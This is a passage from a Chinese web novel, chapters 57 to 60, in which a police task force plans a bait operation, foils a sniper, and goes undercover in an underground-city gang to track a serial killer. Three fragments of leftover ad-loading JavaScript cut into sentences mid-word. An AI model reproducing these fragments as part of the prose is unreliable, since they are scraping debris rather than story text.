浅蓝荧光笼罩着廖怀霖五官,也裹住她不断敲击屏幕的右手。 她咬着吸管喝橙汁,注意力集中于面前的一屏屏数据资料,饮料见底了也没发觉。 浮在上方的系统屏幕里正播放着各地实时监控画面。 廖怀霖在几面屏幕之间忙碌,认真翻找药物研究院的隐藏信息,寻根究底,发散搜索。 许久之后,她撇开吸管凑到屏幕前,凝神思索,抬手放大图片,看清了对方的耳钉。 快节奏音乐回荡在房间里。 乔琅把长发全部高高盘起来,靠听歌冲刷长时间对着相似画面辨认细节的疲惫感。 人群如蚂蚁似的密密麻麻挤在一起向前走,人头涌动。 她盯着满墙监控,随音乐哼起调子:“在哪里……在哪里……在这里……” 一段段视频被截下来归到一起,逐渐串成一条行动路线。 季渊知泡在实验室里,闻着满屋苦涩的药水味。 她摇匀试管中的液体,举高来仔细观察。 玻璃的反光和液体的清澈绿色倒映于镜片上,再穿入她眼中。 “无反应,排除,这一成分也不符合。” 往前已经经历了上百次失败,今天这是具体几次她也记不清了。 季渊知将玻璃管轻轻放下,调整仪器继续下一轮实验,神色和语气仍然平静。 语音录入实验结果生成报告后,一屏幕的废数据自动销毁,化为虚无。 有人敲了敲门,响声由低到高。 正抱臂看着不断更新的报告结果的姜韫转头看去,和警局局长对上视线。 她站在休息室门外,面容比平日更严肃些,鬓边掺杂与黑发中的几根白发整整齐齐挽到耳后。 “这件事啊。” 燕逸岫低下头,双臂环抱胸前,往后退了半步:“你还是学生,最后一两年总得读完吧,这些危险的事暂时别考虑了。” “我现在心里只装着这件事了。” 见她避开视线,卫崧的目光仍然紧紧追随。 “我不想干坐着等结果,至少……至少让我帮上一点忙,我什么都不怕,我什么都可以做。” “当诱饵、打头阵或者在最后拖延时间拦住杀人犯,我都愿意。” “俞护士说了,养伤期间不要想太多事,”新英雄现听现用,“这种事也不是我们能决定的,得听上级安排……” 就在这时,调到最低档的电话提示音响起。 燕逸岫走出去接起电话。 “队长?” 屋里暂时安静下来。 卫崧沉肩,短暂卸下伪装,麻木无神的双眼蔫蔫盯着花束里的向日葵出神。 父母死在了他的面前,阴阳两隔,无法相见,他怎么可能轻易淡忘和放下,走出阴霾投入正常的生活? 他一夜之间失去至亲,失去自己的家。 他的生活已经崩塌翻覆成为一片废墟,而他自己也被埋在其中,无法动弹。 卫崧想象不出自己能怎么继续走下去。 抓住凶手之后重新开始正常生活往前走,这个最好的结局他都想象不出来,更何况现在一切都还是谜,凶手逍遥法外。 几分钟后,门再次打开。 卫崧用力眨眨眼,深吸一口气挺直腰,连忙换上还算自然的神色。 他看到燕逸岫步伐沉重地走进来,表情变得有些难看。 “发生什么事了吗?” 燕逸岫觉得头又开始痛了,长长叹气,目光停在他插着针管的手上。 “你如愿了。” 她没想到局长居然考虑了诱饵计划。 不是替身,而是征求卫崧和申天诺两位比较特殊的幸存者的意愿,问两人是否愿意冒险当诱饵,引出杀人犯。 卫崧也就算了,申天诺怎么回事? 她才十岁,在心智不成熟的年纪经历了那么可怕的事情,再让她遭遇危险,燕逸岫都不敢想象她会变成什么样。 姜韫对此也是犯愁,将自己的担忧顾虑摆出来权衡,但局长已经决定了这一行动计划。 因为汇总的反馈不太乐观。 被派去暗中查看案件相关人员状况的警员陆续发回结果,一份份汇报看得人眉头越皱越紧。 不少案件相关人员都提到最近自己身边不太对劲,有的感觉被盯着,有的家里东西似乎被移动过,有的发现门外有不明鞋印,等等等等。 一两个或许是巧合,但这么多与命案有关的人都在这段时间察觉异常,恐怕就是大问题了。 如果不能尽快抓到反派,不知道他还会做出多少丧心病狂的事来。 越来越多人面临危险,抓住反派的行动已经越来越紧迫,容不得警方考虑太多了,必须想尽一切办法来对付他。 根据汇总的幸存者证词来判断,只有申天诺和卫崧近距离看清了凶手的面貌,其她人只能给出个模糊的描述。 反派也只有在这两人身上花费较多时间。 对申天诺是故意不杀,言行成谜。 对卫崧是想杀但没杀成,甚至最后是他本来就看不顺眼的燕逸岫将人救走。 所以反派很有可能会卷土重来,与这两人再次接触。 申天诺和卫崧,成了目前引出反派的最大希望。 你如愿了。 卫崧听出其中的含义,眼里亮起了光芒,明晃晃地颤动。 “太好了……”卫崧喃喃自语。 “上头有这个计划,所以来征询你们的意愿……” “我可以的!我愿意!我绝对听话,让我往哪儿我就往哪儿,牺牲掉我也没关系,只要能抓到凶手。” 他急迫地回答,想要证明自己的决心。 因为心情激动,卫崧倾身幅度太大,输液管随之摇摇晃晃。 燕逸岫都担心他把针头给甩掉了:“别想得那么严重,什么牺牲不牺牲的,警方会保护好你们的。” 卫崧坐直回去,本想说别的,忽然失笑:“……燕警官,你怎么越站越远了。” 燕逸岫时不时换个姿势站,脚步前移后挪,在他不知不觉中就拉开了距离,也不知道是不是故意的。 燕逸岫抬手迅速擦了擦鼻尖,飘开目光,随口扯了一句谎:“我有点花粉过敏,闻着不太舒服。” 卫崧扬眉,看不出信没信,转而继续刚才的话题:“那,行动什么时候开始?什么时候给我安排任务?” “别急。” 燕逸岫本来烦恼得很,眼瞧他急得冒火的样子,又有点想笑。 “你伤都还没好,出不了医院,谈什么安排任务,现在如你所愿了,应该可以安心养伤了吧?” 卫崧用力点头,自言自语念叨:“如我所愿……太好了……” “我终于能帮上忙了……” 这样一来,他夜里也总算能合上眼安心休息片刻,也敢去梦里见见父母了。 获救以来,卫崧第一次露出最放松的笑容。 “谢谢你,谢谢你们。” 他与燕逸岫对视片刻,眉头浅皱了皱又舒展开,随后抿唇低下头。 两滴泪,三滴泪,四五滴泪,砸在被子上发出砰砰闷响。 这声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音很细,但燕逸岫听得清清楚楚。 她愣神看着这一幕,几秒后才猛地反应过来该怎么办,大步走到病床边抓起桌上的一包餐巾纸递给他。 刚伸过去,一滴泪就砸在了她的手上,悲苦热意顺着指节滑下,坠在指尖。 卫崧抽出一张纸,先擦去燕逸岫手上的泪水。 “不好意思。” “没关系。” 燕逸岫收回胳膊,又不知道该说什么安慰对方,索性不提,后退几步侧身不再看他。 “那你赶紧休息吧,养好伤才能往后走,我就不打扰了。” “……好,再见。” “睡吧。” 确认完卫崧的安全,燕逸岫也去其她幸存者病房转了一圈暗中排查,确认一切正常,才放心离开医院。 因为申天诺已经睡下了,所以警方得等到她醒来之后再谈诱饵计划,询问她的意思。 比起卫崧,燕逸岫更忧虑她的未来会往哪里走。 正靠在病房外的墙上思考这些,廖怀霖上传了一份有关天祐药物研究院的资料上来。 廖怀霖顺着研究院的暗账剥丝抽茧,最后发现了其中几名工作人员有问题。 接着她恢复了她们谨慎删除掉的所有通讯。 这一查,廖怀霖发现她们总是在药物消失前后几天的时间段与几个未知号码联系,以暗号进行交流。 暗号破解她不擅长,但她擅长找出写暗号的人。 对方非常谨慎,与这些研究员交流使用的是层层叠叠的假身份,几乎是一片空白,找不到什么遗留痕迹。 但对廖怀霖来说,这不是什么大难题。 只要有一点点,哪怕是看似毫无关联的线索,她都能顺着它剥洋葱似的把把藏在里面的人挖出来。 最终廖怀霖成功顺着假信息摸到了这个人的真实身份,从数据库中调取了他的肖像照和身份资料,再到网络搜索他的社交痕迹。 而在其中一张照片上,廖怀林注意到了他的耳钉。 上面有个很眼熟的图案。 虞瓷交给燕逸岫的那份有关炎穆帮首领洪旭的资料里就有展示这个图案。 一团火焰,一轮太阳,站在太阳里的高举双臂的黑影,这三者组成了帮派标志,据说是洪旭亲自画的。 而那个可疑人所带的耳钉上正有一团火的图案,形状与帮派标志一模一样,分毫不差。 这么看来,天祐药物研究院疑似与炎穆帮有不为人知的利益牵扯。 紧接着廖怀霖调查了这几个研究员的资金流动,但并没有发现可疑的地方,从她们暗卡里也找不出相关的可疑之处。 所以她怀疑药物研究院偷走昂贵药物G060D不只是为了赚钱,甚至不是为了钱,而是另有目的,才与地下城帮派达成合作。 走出灯火通明的医院时,天色已晚。 燕逸岫打算去董烁家附近蹲守,看能不能逮住可疑的人。 忙了一整天的秦观秋乘车回天极区,回到自己家。 她站在客厅喝水,机器人在给盆栽浇水。 喝完水后,秦观秋启动“宙”快速浏览新闻,了解最新发生的事件。 她的模糊影子映在落地窗上。 窗户外是灯光璀璨的夜景,不远处是几栋高耸入云的大楼,亮灯的没亮灯的,一起铺成一大片黄格子白格子黑格子。 其中一扇窗中悄然浮现出黑影。 黑影将沉重坚硬的东西架好稳定住,便静止于原地,手指弯在扳机上轻轻敲节奏。 狙击枪瞄准镜上映着黄格子里的秦观秋。 58. 谁不爱权力 装了消音器的枪发出一声闷响。 子弹穿透额头,留下狰狞的巨大血洞。 解决完目标后,黑影迅速收好器械扛起包下楼和秦观秋汇合,一起前往斜对面的大楼。 谭誉道已经等在那儿了,正半跪在地上,膝盖压着另一个已经昏迷的黑衣人。 “探查过了,没有别的杀手埋伏。” 秦观秋揪起那人的头发,打开手电筒看清杀手鼻青脸肿的面容,冷哼道:“果然是他,假装同小区邻居跟踪我两次。” 姜韫将另一具尸体拖到墙后,远离窗户,才蹲下打开手电筒扫描面部识别身份。 “是地下城的帮派人员。”燕逸岫扯开他的黑外套仔细检查,最后在他肩膀处看到了眼熟的标志。 “炎穆帮。” “又是他们?反派怎么还逮着炎穆帮薅了。” 谭誉道觉得奇怪:“帮派人员不比职业杀手,执行暗杀任务很容易露马脚被发现,导致行动失败,为什么反派还找他们?” 姜韫打开通讯让事先埋伏在小区附近的警员前来带走尸体,随后说道:“更像是借此试探我们的。” 故意留有破绽,让双方能产生冲突,也就可以趁此机会观察和研究她们的行动特点,推测她们的异能。 “不管怎么样,目前观秋的住址已经暴露了,不知道我们的有没有被发现。” “让系统重新安排一下,大家陆续搬家,2队成员依次隔半个月一个月左右,不要同时变动,你们俩今晚先搬。” “行。” 燕逸岫把呵欠忍了回去,继续一动不动待在藏身处。 白天时,她的蚊型监控藏在董烁校服衣领里,随他回家进入房间,飞到窗前。 通过镜头燕逸岫确定了监视者的隐藏位置,便趁天黑悄悄来到这寻找方便观察和行动的合适位置。 现在三更半夜,持续一动不动蹲守让人有些犯困。 燕逸岫算了算,发现自己来到新世界之后,好像都没有睡过几天好觉。 她心想等破暗行动成功,顺利回到原世界,她要做的第一件事就是蒙在被子里睡个三天三夜,睡个天昏地暗。 现在已经凌晨三点了。 之前董烁在凌晨一两点的时候就已经发现对方的存在,可她今天已经在这守了将近八个小时,却没等到任何可疑人员出现。 说不定董烁去警局被他们发现了,所以监视者撤退取消行动。 正犯嘀咕,燕逸岫忽然听见了一阵声音。 是旁边这栋大楼里有人大半夜外出,乘电梯下来。 脚步声越来越近,最后停在之前监视者所站的位置。 “喂,”虽然四下无人,但那人还是把声音压到最低,“怎么大半夜给我打电话,差点被发现……” “我不是说了吗?我会处理的,我肯定会处理 ,你别急呀,事情没有那么简单,不是说句话就能解决的。” “你放心,我肯定会离,肯定会跟你在一起好吗?你不要疑神疑鬼。” 原来是偷偷跑出来和情人打电话。 “我还能骗你?我什么时候骗过你,你就安安心心的,这些事情我会处理好的。” “我肯定——不然我被雷劈、掉海里淹死、被飞车撞死、被、被那个连环杀人犯分尸,好不好?你信我。” 燕逸岫听得直翻白眼。 连环杀人犯那恶劣残忍的行径都能被拿来发誓,是不是疯了。 这话要是被山火案的那些幸存者听见,不知道该有多伤心。 发完誓,另一头似乎被安抚下来了,于是黑影乘胜追击,又说了一通肉麻煽情的甜言蜜语。 大概是彻底把人哄好了,挂掉电话后黑影松了一口气,打着哈欠打道回府。 燕逸岫听声判断,记下这人所住位置,让系统找出该住户的基本信息。 接着她的思绪又回到了董烁这边。 董烁并没有目击到任何人在尸体附近出现,他只是发现了尸体。 另外几位发现者也是如此,她们没有提供出有关反派的线索,但这几天身边也发生了隐约的古怪。 为什么连这些人也要监视? 姜韫和谭誉道也觉得不对劲,但总不可能因为怀疑有问题而不对相关人员展开保护。 燕逸岫在这守到了天蒙蒙亮,仍然没有等到第二个人出现在这个位置。 在附近埋伏的警员也都毫无收获。 回程路上,燕逸岫翻开姜韫新上传的资料,盯着杀手身上炎穆帮标志的纹身出神。 这两天最后准备准备,她就可以和温簌去地下城一趟了。 地面炎热,室外暑气腾腾,蒸得人快成风干腊肉。 而一进入地下城,阴凉清爽的气息扑面而来,瞬间抚平酷暑搅起的情绪躁动。 燕逸岫深吸一口冷气,浑身舒坦,顺势抬头看向高空的天花板。 一个个巨大的通风口平均间隔分布,黑洞洞的开在顶上。 冷气源源不断传送下来,让居住地下城的人能安心度过夏天。 在原世界租房打工的燕逸岫想到地下城的面积,忍不住心疼一下电费。 但转念一想,这里是最不缺电的高科技世界,耗多少电可能根本不算什么困扰。 温簌的定位红点也已经移动到地下城范围内了,燕逸岫与她保持通话,朝目的地而去。 上个月,姜韫遇险而挖出炎穆帮后,系统就开始暗中操作,提前准备,捏造出几个假身份固化帮派成员的意识,让人以为自己身边确实有这些同伙。 到了需要的时候,就可以派任何人套上身份信息,顺利混入帮派中而不被发觉。 易了容的温簌负责这项行动。 护送温簌顺利进入炎穆帮领域内,燕逸岫又在附近转了一个多小时。 屏幕一角的绿色小人图标显示温簌身体状况良好,没出什么问题,她才放心不少。 估摸着时间差不多了,她急匆匆前往下一个目的地,和事先约好了的人碰面。 虞瓷正懒懒散散靠在墙上,开着“宙”屏幕不知道在看什么。 “当首领的感觉如何?”燕逸岫在她面前停下脚步。 “挺好的,”虞瓷故作夸张地叹气,“但要是能光明正大的表露自己的身份就好了。” 燕逸岫笑起来:“我们可是谈好条件的。” 抓住彭嵘并初步审完后,姜韫又通过燕逸岫联系上了虞瓷,两人正式地聊了很久。 燕逸岫不清楚姜韫和对方具体谈了什么细节,但显然她们提出的条件勾住了虞瓷的兴趣。 “我当然知道,只不过随口偷偷向你抱怨一下,是吧,”虞瓷笑眯眯调侃,“连环杀手的下落和动静,你们现在有什么眉目了吗?” “有什么我能帮得上忙的,尽管开口,毕竟早一点抓到他,我也能早一点伸开腿脚。” 燕逸岫点头。 虞瓷转而又问起了彭嵘的近况。 “兵荒马乱”的期末周结束,现在已进入暑假期间。 彭嵘作为留校学生之一一直呆在校园里,每天泡图书馆、去操场散步、去健身房锻炼,等等等等,一个人的生活仍然忙而有序,充实得令人咋舌。 “你怕她卷土重来报复你,抢回首领的位置吗?” 虞瓷嗤笑摇摇头,说只是想和她叙叙旧而已。 燕逸岫忍不住好奇,开口问她为什么要当首领。 “当然是为了权力啊,谁不爱权力在手掌控一切的感觉?” “那倒也是。”燕逸岫附和。 虞瓷注视她平淡的表情,忽然探身靠近,神神秘秘压低声音:“你不想感受一下掌权的痛快吗?” “你难道不想成为领导成为一把手指挥江山吗?” 燕逸岫立刻缩了缩肩膀躲开,瞪她一眼:“我们无冤无仇的,你不要在这里挑拨离间。” 虞瓷直起腰哈哈大笑。 “我不是指你所在的警队,只是在谈一个泛泛的概念而已。” “不想,”燕逸岫便也作出回答掐断了她的好奇,“我不是当领导的料。” “都没去试呢,就妄自菲薄了。” 燕逸岫老气横秋地抬手摇摇食指,纠正她的用词:“不是妄自菲薄,是有自知之明,我不懂管理,不懂指挥江山。” 当上领队,在某种程度上来说,所有队友的性命实际上都在领队的支配之中。 领队要担起很多责任,不是运筹帷幄目光长远之人无法胜任。 特别是像她们这类出生入死的的行动组,一次判断差错,一个决策有误,就可能导致严重的后果。 燕逸岫当然了解自己的性格,顾虑重,疑心重,喜欢独自行动的安静自在,没有统领队伍的魄力和决断。 她可以是一个苛求成功的追随者和执行者,但恐怕不适合成为统领者。 不提别的,光是像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虞瓷这样挑拨挖走对方的心腹为自己所用,她就无法想象自己该如何做到。 对于她的回答,虞瓷只挑了挑眉:“看来你给自己的定位是良禽择木而栖?但人都是会变的,自己变或是环境逼着她变。” “那你是哪种情况?”燕逸岫立刻趁机反问。 虞瓷沉吟思考,很快又恢复散漫神情:“不知道。” “好像是因为某一天醒来起床气很重,突然就想给这个世界两拳,给身边的人两拳,就决定换个身份活一活。” 希望不要哪天起床气加重,转头打算要给她两拳,反悔撕了交易。燕逸岫心想。 “她们来了。” 虞瓷余光瞥见熟悉的人影出现,轻声说道。 两个女生说笑着,晃晃悠悠往这走来。 燕逸岫迅速将她们观察一遍。 根据虞瓷所说,这两人是混在她的帮派里的卧底,真实身份是炎穆帮成员。 这半年多来,虞瓷隐约感觉得出炎穆帮似乎一直在暗中活跃。 根据线索推测,炎穆帮会派手下潜伏到其她帮派中,将她们离心、斗垮,最后里应外合把帮派端掉。 无处可去的一部分人选择加入炎穆帮麾下,也因此扩大了它的势力。 其实地下城最知名的帮派并非炎穆帮,而是锡众帮,但这一帮派向来神秘,不是随随便便就能投奔的。 彭嵘还在时,她也注意到了炎穆帮的不安分,一直在派心腹暗中调查外部和内部。 虞瓷如今密而不宣按捺不动的其中一个原因,也有考虑到这点。 她继续伪装成小喽啰,平日更方便和这些卧底接触,想办法多挖出些线索来。 因此,如果燕逸岫想得到更多关于炎穆帮的信息,和这两人混熟、跟踪她们,就是个不错的切入口。 “走,”虞瓷拍拍燕逸岫的背,“去和她们唠唠嗑。” “平常这个点我们都是去喝几杯解解暑气的,我正好趁此机会把你介绍过去。” 燕逸岫看见陌生人就有些头皮发麻,生理性抗拒接近,但想到可能有线索,就一咬牙跟上了。 虞瓷也在一旁给她吃颗定心丸:“怕什么呀,这不是有我在吗?” 听到这句耳熟的话,燕逸岫就有一种不妙的预感,心反而更定不下来了。 “阿七——”那两人已经发现了不远处的虞瓷,立马挥手挥臂,高声呼唤,“正找你呢,喝酒去。” 虞瓷应了一声,拉燕逸岫走到两人面前。 见她身边多了个面生的人,两个卧底有些疑惑,沉默着打量燕逸岫。 “你们忘了?前段时间她才来找过老大呢,老大对她挺感兴趣的,好像是有在考虑要不要拉她入伙。” 虞瓷一脸理所当然地胡诌。 “我这不正好逮着她了么,想着和她聊一聊近况。” 那两人对燕逸岫没印象,但听虞瓷提到首领相关,她们的念头就拐了几个弯,在心里盘算盘算,然后对她露出笑容。 几人一起进了酒吧落座。 “看着年纪怪小的,上大学了吗?阿七你可别耽误人家学业啊。” 另一个人问道:“老大对她感兴趣,这么说她是有什么特长吗?” 提到这个虞瓷就来劲,眼睛顿时亮了:“嘿呦,你们可不知道,这妹子看着瘦瘦的,打人怪狠的呢。” 她边说着,抓起燕逸岫的一边胳膊横到她们的面前,啧啧几声,赞叹她力大如牛。 看着眼前的细长胳膊,两人露出了质疑的目光。 “不信啊?”虞瓷看热闹不嫌事大,满脸笑容地招呼,“来来来,扳个手腕就知道了!” 一直没吭声的燕逸岫满头黑线。 认真的吗? 混在帮派里的人多多少少有些好斗,自然不放过任何比试切磋的机会。 其中一人说道:“好啊,明姐力气比我大,你来你来。” 明姐二话不说将胳膊支在桌上,答应得很痛快:“行,让我来看看这个小妹的本事。” 燕逸岫盯着面前这条强壮的胳膊,心里多少有些没底,事发突然也不知道该怎么办。 是要尽全力还是放水还是什么? 虞瓷暗中捏了捏她放在桌底下的手,传达讯息。 燕逸岫有点淡淡的生无可恋。 不是,姐们,你我又不是相处多久的战友,你这捏一捏的暗号是什么意思? 她猜不准啊。 59. 代号兔子 虞瓷也意识到这点,立刻换了个法子,把她的手包成握拳的手势。 于是燕逸岫抬手与明姐握上,深吸一口气蓄力,端起认真的神情。 拼命就拼命。 输人不输阵,输阵歹看面。 虞瓷说完开始,两人同时发力,各自的手指很快挤得涨红,红到发紫,指关节发白,掌长肌凸起。 僵持几秒后,合在一起的两手开始一点点往左偏移,有时候被往右掰回去了点,但很快又朝左下方走,直到压到冰冷的玻璃桌面。 燕逸岫松手收回靠在椅背,累得人都有点飘忽了。 虞瓷拍桌子,大叹一口气:“我说什么吧,是吧,什么叫深藏不露。” 明姐转着手腕点点头,眯起眼更仔细地观察她:“确实厉害,真看不出。” 燕逸岫忽然福至心灵,垂下眼帘,挤出一丝苦笑:“唉……只不过空有拳头,并不会耍枪弄刀,哪称得上厉害。” “如果真和别人起冲突,手里有武器不会使,也占不了上风,现在哪有几个帮派还空着手打架?” 听出她字句里的暗示,虞瓷也立刻接话:“就是,万一打着打着被对方抓走严刑逼供什么的,不仅丢脸,岂不是也给咱们这儿添麻烦了?” “而且兔子还在读大学,说起来还是小年轻,冲动易怒的刺头一个,所以听玟姐说老大还在考虑呢。” 燕逸岫端起杯子想喝两口,手还因为耗了力而微微颤抖着,连带着杯子里的果汁也摇晃起来,掀起波浪。 挺好的,虞瓷连代号都帮她起好了。 明姐身边的阿连更感兴趣:“欸,学生,力气大打架狠,这不是另一个阿山吗?” “让她和阿山一样,练练枪使使刀,说不定也能进中心小组呢。” “阿山打人那叫一个不留情啊,不知道你们俩比起来谁更狠。” 明姐正好想起了这一茬:“嘶,你提了我才记起来,最近怎么都没见阿山?” 阿山,彭嵘在帮派里的称呼。 虞瓷为燕逸岫满上果汁,边回答:“你忘啦?现在七月,阿山期末考考完回家过几天暑假睡大觉了。” “倒是你俩,成天都能见到,我看你俩都看腻了。” 那两人笑着打哈哈。 闲聊着吹了几瓶,虞瓷起身:“我去趟卫生间,你们先喝先聊。” 燕逸岫心一凉。 她就知道,每次和社牛出门见不认识的人,总会发生这种情况。 社牛转头去和别人唠嗑,或是突然去办什么事,就只剩她一个人和那些不认识的人相对无言。 这次也不例外,虞瓷离开后,她们这桌顿时鸦雀无声。 周围的热闹欢笑和屋中嗨翻天的音乐更衬得这处静得可怕。 明姐和阿连喝着酒打量她,时不时被周围的动静吸引张望一会儿。 燕逸岫脸上保持着得体的微笑,看似云淡风轻,其实已经快碎了。 好安静,我以为我们永远有话说。 要主动聊什么吗? 唠家常,她根本不知道说什么。直切主题,太刻意太可疑了。 燕逸岫再一次体验到什么叫度秒如年一秒不见如隔三秋。 她假装忙于阅读饮品菜单上的字,假装在考虑再点点什么,专心地看了一遍又一遍,都已经快背下来了。 好在很快明姐率先打破了沉默,起了个头,气氛逐渐轻松多了。 两人轮着问燕逸岫家在哪个区、在哪上大学等,燕逸岫一脸老实地把自己套的假身份信息告诉她们。 “也是地面上的人啊。” 和外人想象的不同,其实地下城各帮派成员中地面公民反而占多数。 因为两个极端区域有明显分隔,更方便隐蔽,不怕随随便便撞见熟人。 而且因为地上公民身份能随时出入,不受监管局限制,行动自如,所以帮派首领很乐意广纳地上公民加入。 另外,对于有些人来说,原本高高在上的体面的地上公民居然选择混迹地下城,甚至成为自己的手下,如同家养猫和阴沟里的老鼠成为伙伴,会给这些人一种平起平坐的诡异满足感。 三分钟后虞瓷回来了,气氛马上重回最初的热闹。 “兔子不怎么爱讲话呀。” 虞瓷哐哐倒酒,猛喝一口移开杯子才说道:“懂什么,真没见识,这叫人狠话不多好吗?” “下次哪个不长眼的帮派跑来闹事,我拉上兔子一起去干架,再喊你们来亲眼看看。” 燕逸岫如坐针毡,嘴角快要维持不住。 可千万别有这种机会,她完全不是进攻型选手,到时候被群殴打成肉饼了不得给人笑死。 “不会耍武器,确实是个问题,”虞瓷抬抬下巴,“阿连,你不是枪法很准吗?要不抽空教教她呗?” 阿连嘴角挂着笑,爽快地满口答应。 对方是能和首领扯上几分关系的人,她当然乐意多接触接触好套话。 于是燕逸岫和两人交换了联系方式。 “这几天怎么也没看见阿彬?一个个放假了就跑没影,老大也不多管管,是不是在忙什么要紧事?” “阿彬啊,她最近时不时头痛,在家休息呢,估计前几天去地面晒了大太阳,再回这冷冻库不适应,给整感冒了。” 虞瓷只回答了前半部分,假装没听见后面的疑问。 四人继续闲聊几段有关地下城和地上最近发生的事情,明姐还提到了锡众帮。 锡众帮内部好像出了什么事,这一两天几乎看不到人影。 欠打的几个炎穆帮成员照常每日挑衅打卡,也没见谁露面赶人。 锡众帮犹如集体人间蒸发。 又坐了十来分钟,燕逸岫装模作样看了眼时间,说自己该回学校了,晚上还有课,不便久留。 虞瓷大口喝完瓶底的酒,说去送送她,一起脱身离开。 燕逸岫从醺人酒香里穿出,又被混杂的美食香气包裹。 两人走在街道上,低声讨论着之后怎么和炎穆帮的卧底走近,并从她们那儿摸出更多线索。 过了一会儿,虞瓷忽然暗骂一声,拉起燕逸岫转弯往旁边走。 燕逸岫茫然跟着虞瓷移动。 她目光瞥向四周又很快收回,因为她发现不远处有四个穿着笔挺黑制服的人正朝这走来。 这身制服和胸口的徽章图案,她记得是地下城监管局的。 走在最前面的女生大概三十,威严正气,走姿和气度展露出明显的军人风范。 虞瓷屡犯规定,如今已经在监管局混了个脸熟,所以那四个人瞧见她就马上锁定了目标。 “站住,少装瞎。” 见没躲过去,虞瓷用力翻了个白眼。 “虞瓷,”为首的冷面女生站定,拦住两人去路,“出示你的芯片,例行盘查。” 虞瓷不耐烦地伸出了自己的胳膊,让对方扫描她的芯片检查定位记录。 向步青获取行程轨迹,确定了她这几天安分呆在地下城没乱跑,才关闭程序,但脸色并未缓和。 “记住之前的警告,你若是再擅自离开地下城,在非规定时间逗留地上活动,可就不是罚款和三天禁闭那么简单的事了。” “你已经无视警告太多次,虽说总局要我们亲民执法,但我们也不会纵容你们这类人顺杆子往上爬。” 虞瓷意味不明地嗯了一声敷衍,一副左耳进右耳出的模样。 燕逸岫稍稍掀起眼皮,余光瞄向对面四人。 分明是严厉的警告,但她感觉不出多少厌恶情绪。 与此同时,严睢也正打量虞瓷身旁的人,发现是张生面孔,之前似乎从没见她在虞瓷周围出现过。 和虞瓷浓秀张扬的五官不同,短发女生的眉眼可以说是清淡,清淡到好像会让人转头就忘。 就算刻意想要记住,但她脸上雪地似的干净,没有一颗痣,没有任何可供记住的特征。 “你好,请你也打开芯片接受检查。”他出声说道。 虞瓷抢先开口:“她是地上公民,不需要检查行程。” “那也要进行人脸识别核查身份,”向步青示意严睢上前,“和你搅在一起的人都不是什么省油的灯,到处惹是生非,总给监管局添堵。” 严睢迈步朝燕逸岫靠近。 他一动,燕逸岫忽然在这人身上闻到一缕淡得几乎无法察觉的甜味。 糖果的气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 味。 燕逸岫立刻朝他投去目光,记住对方的容貌。 丹凤眼,尖瘦的脸,剑眉遮在碎发刘海中,露出锋利眉峰折角。 严睢刚踏出一步,见这原本半垂眼帘安静杵着的人忽然抬眼直勾勾与自己对视,一瞬间有些怔愣。 ……怎么了? 但她下一秒就重新低下头,目光落在低于视平线的某处,不再看人,恢复了平和内敛的气场。 那片刻的凛然仿佛只是他的错觉。 或许是个在监管局面前假装安分的凶残帮派成员,严睢这么想着,扫描面部后仔细阅读她的身份信息,看得格外认真。 和刺头虞瓷混在一起的,必须多关注关注。 “是地上公民,无违法犯罪记录。”严睢核实完后退回向步青身后。 向步青点点头,最后对虞瓷警告了几句,才带人离开。 严睢随之侧身,露出了背后的长发,卷曲长狼尾在脑后绑成小小一撮,贴在制服上。 燕逸岫眼睛差点看直了。 她目送对方远去直至消失在人群之中。 居然是个清俊的长发男美人。 别的暂时抛开不提,自己在新世界遇见长发男的概率好像有点高。 但那人一看就不是什么善茬,阴森冰冷,板着死人脸。 “你想追他?”见她目光黏在那人后背,虞瓷抱起双臂,冷不丁冒出一句。 正愣神的燕逸岫吓得被一口空气呛到,捂嘴咳了半天。 虞瓷面无表情地摇摇头:“那我可帮不了你,那是监管局的走狗之一,我最烦的就是里面的人了,一个个都碍事得要命。” “你别胡说八道……” 虞瓷笑出声,戏谑道:“你眼睛都快飞出去跟别人走了,还说我胡说八道。” “那是向步青的手下,之前我跟他打过几次交道。” 喜欢假装听不见不想理的人说话,永远臭着一张脸,搞得像被关禁闭的人是他。 虞瓷想起来就冒火。 “他叫什么?你知道他多少事?” 想到他身上可疑的甜味,燕逸岫觉得必须多关注关注这个人,查清楚他是不是和反派有关系。 虞瓷抬手指她的鼻子冷笑:“你果然是看上他了,还狡辩。” “……” 目前不确定对方底细,不方便和虞瓷透露太多,唯恐节外生枝,于是燕逸岫只好闭眼硬着头发认下了。 虞瓷把自己知道的都告诉她,甚至担心燕逸岫老实巴交胆小如鼠不敢追,慷慨地向她传授泡男大的经验技巧。 燕逸岫板着死人脸捂住耳朵走了。 离开地下城前,她再次同温簌联系,收到一切顺利的讯息后,燕逸岫才安心出发。 地上仍然炎热,天地之间如蒸笼一般,烤得让人受不了。 燕逸岫逃命似的火速回到行动组基地,进入充满冷气的室内,终于放松下来。 来到会议厅里,燕逸岫发现桌上摆着一套眼熟的东西。 是石现的同款玩具。 不对,不是同款,就是石现拥有的那套玩具。 谭誉道正捏着其中一块来回翻转,让机器扫描感应到每一个角落,录入上面层层叠叠的凌乱指纹并进行分离分类。 燕逸岫套出来的话中有提到,那个神秘的送礼之人也陪石现一起玩过,接触过玩具,因此玩具上面很可能还留有指纹。 于是谭誉道决定去将证物偷换出来进行检测。 今天石见微陪女儿和孙女去了海边玩,家中无人,是最佳的行动时间。 系统协助将监控定格在最后一帧画面,谭誉道就可以大摇大摆进出石见微家,成功携带证物离开,不怕被监控录下。 系统屏幕开始闪烁绿光,已经在玩具上识别出第四个人的指纹并比对成功。 指纹对应的身份跳了出来,这是她们第三次看到昆隐棋的肖像照出现在眼前。 这下可以证实昆隐棋和石见微一家并非毫无交集的陌生人,她出现在川城附近很可能就是去找石家人。 而且石现提到昆隐棋是和她姥姥直接接触。 也就是昆隐棋和石见微这两人私底下有不为人知的联系。 60. 34年前的天才相遇 【姐姐好几天不在家,妈妈和爸爸说把姐姐送去治病了。 她们说这次请到了一个很厉害的专家,这次治疗时间很长,但如果能成功的话,姐姐的病就能彻底治好了。】 【可能是我太想姐姐了,我也生病了,人很不舒服,感觉做什么都没有力气,妈妈和爸爸说我晕倒了。 